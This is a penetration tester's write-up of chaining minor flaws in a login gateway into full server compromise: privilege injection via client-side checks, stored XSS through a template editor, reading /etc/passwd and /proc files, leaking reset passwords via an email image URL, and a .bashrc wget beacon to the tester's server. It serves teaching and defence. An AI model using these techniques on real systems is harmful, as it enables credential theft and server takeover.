Real-Life Web App Hacking

Web server compromising very rarely means exploiting only one critical vulnerability, as can be seen for example in Hollywood movies. On the contrary, this type of compromising is usually possible due to a chain series of less serious, sometimes almost absurd, vulnerabilities. In this article, we will describe a real-life scenario in which it was exactly the chain of several vulnerabilities leading to a complete compromise of the web server.

A number of automated tools can be used during web application penetration testing. These tools are able to find the basic errors in the application. But in case of more complex applications or errors, the misuse of which requires a more detailed understanding of the application’s principle of operation, automated tools are not effective. This article will be about compromising a web server, which was enabled by a number of minor vulnerabilities.

The tested page is the login gateway providing user authentication for several applications. After logging in, a simple user interface will be displayed, together with a list of links to applications assigned to the given user.

Application view
Application view

There are not many input fields or forms in the application that could be tested for classic vulnerabilities such as XSS or SQL injection. One of many errors in web applications is also the presence of pages and functionalities that the average user cannot click to through the application. For this reason, it is advisable to have a dictionary containing typical and frequently used subpage names, such as e.g. admin, dev, logs, etc. at hand. We can then try to insert words from this dictionary, e.g. to the URL address. After enumerating the URLs in this way, we get one interesting URL - /settings.

Hidden feature
Hidden feature

After the page is displayed, we cannot see much, no functionalities or sensitive data, and it seems that it will of no use to us. However, if we analyse this page in a little more detail, we can see that although no functionality was displayed, the page is generated with a huge JavaScript code, which was downloaded when we accessed this page. Also, one of the responses from the server contains information about the logged in user along with something that looks a lot like privileges:

...,"authorities":["ROLE_CAN_CHANGE_PASSWD","ROLE_CAN_SEE_PROFILE"],...

After a quick search in the downloaded JS code, the following suspicious code snippets can be found:

varhasRoleAdminConf=$idpLoggedUser.authorities.indexOf("ROLE_IDP_ADMIN_CONFIG")>=0;varhasRoleAdminUsers=$idpLoggedUser.authorities.indexOf("ROLE_IDP_ADMIN_USERS")>=0;varhasRoleAdminForGroup=hasRoleAdminUsers||$idpLoggedUser.authorities.indexOf("ROLE_IDP_ADMIN_USERS_IN_GROUP")>=0;

Because the JS code authenticates these privileges on the client side, they can be easily added, e.g. by editing the responses received from the server with some web proxy. So let's adjust the original privileges to the following:

"authorities":["ROLE_CAN_CHANGE_PASSWD","ROLE_CAN_SEE_PROFILE","ROLE_IDP_ADMIN_CONFIG","ROLE_IDP_ADMIN_USERS","ROLE_IDP_ADMIN_USERS_IN_GROUP"]

After loading the /settings page with new permissions, we can see the hidden functionalities.

Hidden functionality with added privileges
Hidden functionality with added privileges

Many of these functionalities disclose sensitive data such as various keys and configurations of associated applications, etc. Some functionalities can be expanded to identify the aforementioned sensitive data, but it is not possible to change its status - probably because these requests are rejected by the server. But we will focus only on one functionality and that is Templates/Visual. This functionality is used to view and edit templates and some other documents responsible for the look of the application.

List of application files which can be edited
List of application files which can be edited

If we could edit these templates, we can edit the page itself and insert in anything according to our needs. We will choose the footer.hbs template and when we open it, we can see the template editor.

Editing the footer.hbs template
Editing the footer.hbs template

It looks that we can edit the HTML code directly. To test this, we try to insert the JS code into the page. The resulting footer.hbs code looks as follows:

footer.hbs template code after JS code insertion
footer.hbs template code after JS code insertion

After saving the template, we try to refresh the page in the browser and immediately after it’s been loaded, a window with our text appears. This window is shown to any user who is loading this page at this time.

View of the app after the change of template
View of the app after the change of template

In addition to being able to execute JS code in browser of any user, to monitor his/her activities, and to modify the appearance of the page, etc., we can use templates to insert user data available to the template engine into the page. We insert the following code into the template, which iterates through the object user and lists all its attributes.

Code of the footer.hbs template after inserting the code for listing attributes of the object user
Code of the footer.hbs template after inserting the code for listing attributes of the object user

After loading a page with this template, specific data will be listed in the HTML comment.

<divclass="footer"><spanclass="copy">&copy; 2019 Foo Bar, a.s.</span></div><!--                    Key: note Value =                 Key: fullName Value = Foo Bar                Key: active Value = true                Key: language Value =                 Key: login Value = [REDACTED]26                Key: passwordTempExpire Value =                 Key: password Value = $argon2i$v=19$m=65536,t=2,p=1$P6XpqnS[REDACTED]                Key: blocked Value = false                Key: phone Value = [REDACTED]                Key: failedLogins Value = 0                Key: idpUserSource Value = sk.annotation.identitym.data.entity.idp.IdpUserSource@6ecfb23                Key: lastLogged Value = 2019-02-06 08:37:14.134143                Key: printName Value = Foo Bar                Key: acceptedProfile Value = 2019-02-05 13:02:45.981                Key: passwordTempValue Value =                 Key: id Value = 686989                Key: email Value = [REDACTED]                Key: lastMappingLog Value =              --></div>

In addition to the login, we came to know a lot of other data and even the user password hash. We could send all this data to our server with another short piece of JS code, thus collecting information about the users.

Besides attacks on the users, the template engine allows template loading. However, because it does not check the type of file it is loading, it is possible to load a file that is not a template, e.g. /etc/passwd.

The manner of loading a system file with a template engine
The manner of loading a system file with a template engine

After saving the template and refreshing the page, the following text with information on the users of the system appears in the page source code.

<divclass="footer"><spanclass="copy">&copy; 2019 Foo Bar, a.s.</span></div><!-- root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinuucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologinvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologinsaslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologinpostfix:x:89:89::/var/spool/postfix:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologinzabbix:x:498:499:Zabbix Monitoring System:/var/lib/zabbix:/sbin/nologin[REDACTED]:x:500:500::/home/[REDACTED]:/bin/bash[REDACTED]:x:501:501::/home/[REDACTED]:/bin/bash[REDACTED]:x:502:502::/home/[REDACTED]:/bin/bashannotation:x:503:503::/home/annotation:/bin/bashapache:x:48:48:Apache:/var/www:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologintomcat-idp:x:504:504::/opt/tomcat-idp:/dev/nulldeployer:x:505:505::/home/deployer:/bin/bashhaproxy:x:188:188::/var/lib/haproxy:/sbin/nologinnexposese:x:506:506::/home/nexposese:/bin/bash --></div>

Apart from editing the templates displaying pages before and after the user logs in, it is also possible to edit the templates used for resetting the password. Specifically, we can edit the password recovery e-mail template and add an image to this e-mail directing to our server and containing the generated password in its URL.

Modified template of an e-mail for password resetting
Modified template of an e-mail for password resetting

Now all we have to do is learn the victim's login and use the password recovery functionality to request a new password. Even though our victim will receive the generated e-mail, in case his/her e-mail client allows displaying images from external domains, our server will receive a query for an "image" with the new password hidden in its name.

During the testing, we managed to obtain up to 10 unique passwords in a very short time – we are speaking about mere few hours.

In addition to editing templates and reading the files that are not templates, we can finally try to edit some files and thus get e.g. ability to execute remote commands. But first we need to get some more information about the target device. One possibility can be (since we know it's a UNIX-like system) to read the /proc/self/cmdline and proc/self/environ files. These files may contain information which may be useful in directing the attack further.

Contents of the /proc/self/cmdline file:

/usr/lib/jvm/jre-1.8u112/bin/java
-Djava.util.logging.config.file=/opt/tomcat-idp/tomcat-1/conf/logging.properties
-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
-Djdk.tls.ephemeralDHKeySize=2048
-Djava.protocol.handler.pkgs=org.apache.catalina.webresources
-Xmx512m
-Didp.url.login.oauth=/api-idp/oauth
-Dlog4j.configurationFile=file:///opt/tomcat-idp/log4j2.xml
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5001
-classpath/opt/tomcat-idp/tomcat-1/bin/bootstrap.jar:/opt/tomcat-idp/tomcat-1/bin/tomcat-juli.jar
-Dcatalina.base=/opt/tomcat-idp/tomcat-1
-Dcatalina.home=/opt/tomcat-idp/tomcat-1
-Djava.io.tmpdir=/opt/tomcat-idp/tomcat-1/temp
org.apache.catalina.startup.Bootstrap
start

Contents of the /proc/self/environ file:

LC_PAPER=sk_SK.UTF-8
LC_ADDRESS=sk_SK.UTF-8
HOSTNAME=[REDACTED]LC_MONETARY=sk_SK.UTF-8
TERM=xterm-256color
SHELL=/bin/bash
HISTSIZE=1000LD_PRELOAD=/opt/glibc/lib/libc-2.14.so
LC_NUMERIC=sk_SK.UTF-8
USER=tomcat-idp
LS_COLORS=rs=0:di=38;5;27:...xspf=38;5;45:
LC_TELEPHONE=sk_SK.UTF-8
SUDO_USER=deployer
SUDO_UID=505username=Annotation-Pavol[REDACTED]USERNAME=root
MAIL=/var/spool/mail/deployer
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/lib/jvm/jre-1.8u112/bin
LC_IDENTIFICATION=sk_SK.UTF-8
PWD=/opt/tomcat-idp/tomcat-1
JAVA_HOME=/usr/lib/jvm/jre-1.8u112
LANG=en_US.UTF-8
LC_MEASUREMENT=sk_SK.UTF-8
CATALINA_OPTS=-Xmx512m-Didp.url.login.oauth=/api-idp/oauth-Dlog4j.configurationFile=file:///opt/tomcat-idp/log4j2.xml-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5001HOME=/opt/tomcat-idp
SUDO_COMMAND=/etc/init.d/tomcat-idp-1start-wait
SHLVL=3SERVERNAME=idp
LOGNAME=tomcat-idp
SUDO_GID=505LC_TIME=sk_SK.UTF-8
STORAGEPATH=/storage
LC_NAME=sk_SK.UTF-8
_=/usr/lib/jvm/jre-1.8u112/bin/java

We know from the abovementioned files that this is a Tomcat server, under which user the server is running, and among other information, we discovered the paths to several key directories. To get even more information, we went and tried to read the command history file.

Shortened contents of the /opt/tomcat-idp/.bash_history file:

cd/opt/tomcat-idp/work-idp/confs/
cat/opt/tomcat-idp/work-idp/confs/login-sso.keytab
cdpwd
ls
psaux|greptomcat
cdtomcat-1/logs/
ls
viidentity-management.log
[REDACTED]

Besides other things, it is possible to read the configuration files of Tomcat and other configuration files. All this information helped us to understand the layout of the directory structure and helped to plan the next steps. First, we thought of writing the file to the root directory, which we would then run using a web server. However, this option failed due to a lack of writing rights. Other trial-and-error scenarios, which are often an integral part of testing, followed. In the end, it turned out that we had a simple, though not completely direct, solution right before our eyes all the time. Since we know from the history of user commands that administrators have been logging in to this account on a regular basis, we can edit the .bashrc file. This file contains BASH commands that are executed immediately after the user logs in.

Modified contents of the /opt/tomcat-idp/.bashrc file:

# .bashrc# Source global definitionsif[-f/etc/bashrc];then./etc/bashrc
fi# User specific aliases and functions# PoC EVIL FUNCTION
wget-O/dev/null-qhttps://[REDACTED]/poc.bng

This modification does nothing more than send an HTTP query to our server, telling us that our victim actually executed this command. In a real scenario, this harmless command could be replaced with downloading of a malware, running a reverse shell, or performing another malicious action. After a while, this query actually came to our server in the end, which would make us successful if we were an attacker.

As we can see, sometimes even an innocent-looking site can hide a number of vulnerabilities inside. While these vulnerabilities themselves can be serious due to disclosing sensitive information, they do not present as great a risk as when they are used jointly. Moreover, it needs to be said that several times, the "human factor" was required in the procedure described here.

Automated tools are able to find some of the listed vulnerabilities, but they cannot understand their nature and therefore their impact, or, alternatively, the misuse thereof in sort of a chain of vulnerabilities aiming to compromise the machine. As we have demonstrated, the server can be compromised and in case the attacker later obtains the ability to execute arbitrary commands and use the server for malicious purposes (such as sharing malware), he can try to escalate his privileges, or start attacking the internal network.